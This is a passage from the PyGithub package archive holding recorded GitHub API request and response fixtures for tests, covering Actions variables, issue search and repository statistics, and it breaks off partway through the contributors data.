/repos/AndrewJDawes/PyGithub/actions/variables {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "VARIABLE_NAME_TWO", "value": "variable-value-two"} 201 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4791'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '209'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ECD3:60B1:10C5773:2357C6A:655930C0')] {} https GET api.github.com None /repos/AndrewJDawes/PyGithub {'If-None-Match': 'W/"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"', 'If-Modified-Since': 'Sat, 18 Nov 2023 13:36:18 GMT', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 304 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:40 GMT'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4791'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '209'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ECD4:37FB:10EFC8C:23B0C64:655930C0')] https GET api.github.com None /repos/AndrewJDawes/PyGithub/actions/variables {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0cf5ddcd51d27c7c91509b5ed5de0393d0b2e07cb507c737b90a67594a2a102f"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4790'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '210'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ECD5:3AF1:FC6F7E:2160D7E:655930C0')] {"variables":[{"name":"VARIABLE_NAME_ONE","value":"variable-value-one","created_at":"2023-11-18T21:46:40Z","updated_at":"2023-11-18T21:46:40Z"},{"name":"VARIABLE_NAME_TWO","value":"variable-value-two","created_at":"2023-11-18T21:46:40Z","updated_at":"2023-11-18T21:46:40Z"}],"total_count":2} https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/actions/variables/VARIABLE_NAME_ONE {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:41 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4789'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '211'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ECD6:847D:10BCA34:2344E74:655930C0')] https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/actions/variables/VARIABLE_NAME_TWO {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:41 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4788'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '212'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ECD7:4EBE:1058C41:22811D5:655930C1')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testSearchIssues.txt0000644000175100001660000000262614756101563024404 0ustar00runnerdockerhttps GET api.github.com None /legacy/issues/search/PyGithub/PyGithub/open/search {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '875'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4985'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"2e397de657b33283e77ef12a21326d0d"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 20:39:57 GMT'), ('content-type', 'application/json; charset=utf-8')] {"issues":[{"title":"Support new Search API","number":49,"user":"kukuts","html_url":"https://github.com/PyGithub/PyGithub/issues/49","labels":["Functionalities","RequestedByUser"],"body":"New API ported from v2 but i have trouble with adopting ask's library for v2 API to support v3 style for searching. \nhttp://developer.github.com/v3/search/\n\nIts not described in the page about parameters that search for repos API supports.\nThey are same as in v2 API, you can look them in ask's library.\nIn v2 was like that https://github.com/api/v2/json/repos/search/testing?start_page=2&language=Python\nIn v3 is https://api.github.com/legacy/repos/search/testing?start_page=2&language=Python","votes":0,"comments":2,"updated_at":"2012-06-25T12:31:14-07:00","gravatar_id":"9be6ba907be1740213b69422fdf52b57","position":1.0,"state":"open","created_at":"2012-06-21T05:27:38-07:00"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testStatisticsCodeFrequency.txt0000644000175100001660000000714314756101563026611 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/stats/code_frequency {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 202 [('status', '202 Accepted'), ('x-ratelimit-remaining', '4963'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3448:429A284:528030EA'), ('content-length', '2'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 11 Nov 2013 01:20:42 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] {} https GET api.github.com None /repos/PyGithub/PyGithub/stats/code_frequency {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4977'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:7848:2D63900:52803017'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1844'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"2a409951d08a22751ef211c1db5b468b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 01:17:11 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] [[1329004800,3853,-2098],[1329609600,3005,-2120],[1330214400,2969,-1502],[1330819200,252,-26],[1331424000,4823,-4569],[1332028800,1846,-56],[1332633600,130,-57],[1333238400,0,0],[1333843200,0,0],[1334448000,31,-11],[1335052800,0,0],[1335657600,23632,-7111],[1336262400,29431,-30239],[1336867200,1280,-397],[1337472000,3016,-2064],[1338076800,33188,-30815],[1338681600,2531,-545],[1339286400,6,0],[1339891200,18,-8],[1340496000,721,-272],[1341100800,0,0],[1341705600,353,-217],[1342310400,0,0],[1342915200,725,-609],[1343520000,423,-423],[1344124800,0,0],[1344729600,0,0],[1345334400,63,-16],[1345939200,0,0],[1346544000,2968,-162],[1347148800,1580,-16319],[1347753600,11688,-11278],[1348358400,248,-189],[1348963200,3,-3],[1349568000,6,-11],[1350172800,0,0],[1350777600,0,0],[1351382400,599,-230],[1351987200,14,-3],[1352592000,1,-1],[1353196800,1788,-1765],[1353801600,1251,-1221],[1354406400,0,0],[1355011200,0,0],[1355616000,146,-7],[1356220800,3557,-2799],[1356825600,0,0],[1357430400,0,0],[1358035200,0,0],[1358640000,0,0],[1359244800,83,-12],[1359849600,603,-292],[1360454400,327,-240],[1361059200,147,-74],[1361664000,0,0],[1362268800,52,-7],[1362873600,877,-444],[1363478400,5290,-1029],[1364083200,563,-287],[1364688000,0,0],[1365292800,68,-4],[1365897600,0,0],[1366502400,847,-758],[1367107200,0,0],[1367712000,0,0],[1368316800,433,-32],[1368921600,0,0],[1369526400,42,-12],[1370131200,17,-17],[1370736000,0,0],[1371340800,215,-5],[1371945600,17,-1],[1372550400,0,0],[1373155200,3062,-1701],[1373760000,765,-1178],[1374364800,0,0],[1374969600,127,-12],[1375574400,51,-4],[1376179200,0,0],[1376784000,1982,-1166],[1377388800,0,0],[1377993600,3045,-659],[1378598400,2183,-2373],[1379203200,0,0],[1379808000,0,0],[1380412800,0,0],[1381017600,0,0],[1381622400,0,0],[1382227200,158,-225],[1382832000,0,0],[1383436800,0,0],[1384041600,0,0]] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testStatisticsCommitActivity.txt0000644000175100001660000001101014756101563027006 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/stats/commit_activity {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 202 [('status', '202 Accepted'), ('x-ratelimit-remaining', '4964'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3448:429A229:528030EA'), ('content-length', '2'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 11 Nov 2013 01:20:42 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] {} https GET api.github.com None /repos/PyGithub/PyGithub/stats/commit_activity {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:7847:2199F7C:52803017'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '2775'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"988e31b23490922f86392de76ca453b9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 01:17:11 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] [{"days":[0,7,3,9,7,3,0],"total":29,"week":1353196800},{"days":[1,5,1,1,0,0,0],"total":8,"week":1353801600},{"days":[0,0,0,0,0,0,0],"total":0,"week":1354406400},{"days":[0,0,0,0,0,0,0],"total":0,"week":1355011200},{"days":[0,0,0,1,0,5,0],"total":6,"week":1355616000},{"days":[1,0,8,0,0,0,6],"total":15,"week":1356220800},{"days":[0,0,0,0,0,0,0],"total":0,"week":1356825600},{"days":[0,0,0,0,0,0,0],"total":0,"week":1357430400},{"days":[0,0,0,0,0,0,0],"total":0,"week":1358035200},{"days":[0,0,0,0,0,0,0],"total":0,"week":1358640000},{"days":[1,0,6,0,0,0,0],"total":7,"week":1359244800},{"days":[3,0,7,0,3,2,2],"total":17,"week":1359849600},{"days":[0,0,1,0,0,0,4],"total":5,"week":1360454400},{"days":[2,0,0,6,0,0,0],"total":8,"week":1361059200},{"days":[0,0,0,0,0,0,0],"total":0,"week":1361664000},{"days":[3,0,0,0,0,0,0],"total":3,"week":1362268800},{"days":[0,1,2,0,6,0,1],"total":10,"week":1362873600},{"days":[0,0,7,0,7,3,1],"total":18,"week":1363478400},{"days":[0,0,0,0,9,6,0],"total":15,"week":1364083200},{"days":[0,0,0,0,0,0,0],"total":0,"week":1364688000},{"days":[0,2,0,0,0,0,0],"total":2,"week":1365292800},{"days":[0,0,0,0,0,0,0],"total":0,"week":1365897600},{"days":[0,3,0,3,10,0,0],"total":16,"week":1366502400},{"days":[0,0,0,0,0,0,0],"total":0,"week":1367107200},{"days":[0,0,0,0,0,0,0],"total":0,"week":1367712000},{"days":[0,0,0,0,0,5,1],"total":6,"week":1368316800},{"days":[0,0,0,0,0,0,0],"total":0,"week":1368921600},{"days":[0,1,0,0,0,2,3],"total":6,"week":1369526400},{"days":[10,0,5,0,0,0,0],"total":15,"week":1370131200},{"days":[0,0,0,0,0,0,0],"total":0,"week":1370736000},{"days":[0,1,4,1,0,0,0],"total":6,"week":1371340800},{"days":[0,0,0,0,0,0,1],"total":1,"week":1371945600},{"days":[0,0,0,0,0,0,0],"total":0,"week":1372550400},{"days":[6,0,1,0,0,0,3],"total":10,"week":1373155200},{"days":[3,0,5,1,0,0,1],"total":10,"week":1373760000},{"days":[0,0,0,0,0,0,0],"total":0,"week":1374364800},{"days":[0,0,0,0,0,3,1],"total":4,"week":1374969600},{"days":[0,0,1,1,0,0,0],"total":2,"week":1375574400},{"days":[0,0,0,0,0,0,0],"total":0,"week":1376179200},{"days":[0,8,2,76,7,10,0],"total":103,"week":1376784000},{"days":[0,0,0,0,0,0,0],"total":0,"week":1377388800},{"days":[0,0,0,1,6,11,0],"total":18,"week":1377993600},{"days":[1,0,0,3,4,0,0],"total":8,"week":1378598400},{"days":[0,0,0,0,0,0,0],"total":0,"week":1379203200},{"days":[0,0,0,0,0,0,0],"total":0,"week":1379808000},{"days":[0,0,0,0,0,0,0],"total":0,"week":1380412800},{"days":[0,0,0,0,0,0,0],"total":0,"week":1381017600},{"days":[0,0,0,0,0,0,0],"total":0,"week":1381622400},{"days":[0,8,0,0,0,0,0],"total":8,"week":1382227200},{"days":[0,0,0,0,0,0,0],"total":0,"week":1382832000},{"days":[0,0,0,0,0,0,0],"total":0,"week":1383436800},{"days":[0,0,0,0,0,0,0],"total":0,"week":1384041600}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testStatisticsContributors.txt0000644000175100001660000026170514756101563026560 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/stats/contributors {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 202 [('status', '202 Accepted'), ('x-ratelimit-remaining', '4965'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3446:13B76A5:528030E9'), ('content-length', '2'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 11 Nov 2013 01:20:42 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] {} https GET api.github.com None /repos/PyGithub/PyGithub/stats/contributors {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:7845:1014960:52803016'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '89241'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"e4c996128dd311baec35460e4ddf05a5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 01:17:10 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] [{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":2,"d":2,"c":1},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"philipkimmey","id":211079,"avatar_url":"https://2.gravatar.com/avatar/decc9323f241b6dd24ec35ef7cabaf75?d=https%3A%2F%2Fidenticons.github.com%2F541c8e7a95ee7b9fbdb676dbdf20c7da.png&r=x","gravatar_id":"decc9323f241b6dd24ec35ef7cabaf75","url":"https://api.github.com/users/philipkimmey","html_url":"https://github.com/philipkimmey","followers_url":"https://api.github.com/users/philipkimmey/followers","following_url":"https://api.github.com/users/philipkimmey/following{/other_user}","gists_url":"https://api.github.com/users/philipkimmey/gists{/gist_id}","starred_url":"https://api.github.com/users/philipkimmey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/philipkimmey/subscriptions","organizations_url":"https://api.github.com/users/philipkimmey/orgs","repos_url":"https://api.github.com/users/philipkimmey/repos","events_url":"https://api.github.com/users/philipkimmey/events{/privacy}","received_events_url":"https://api.github.com/users/philipkimmey/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":10,"d":0,"c":1},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0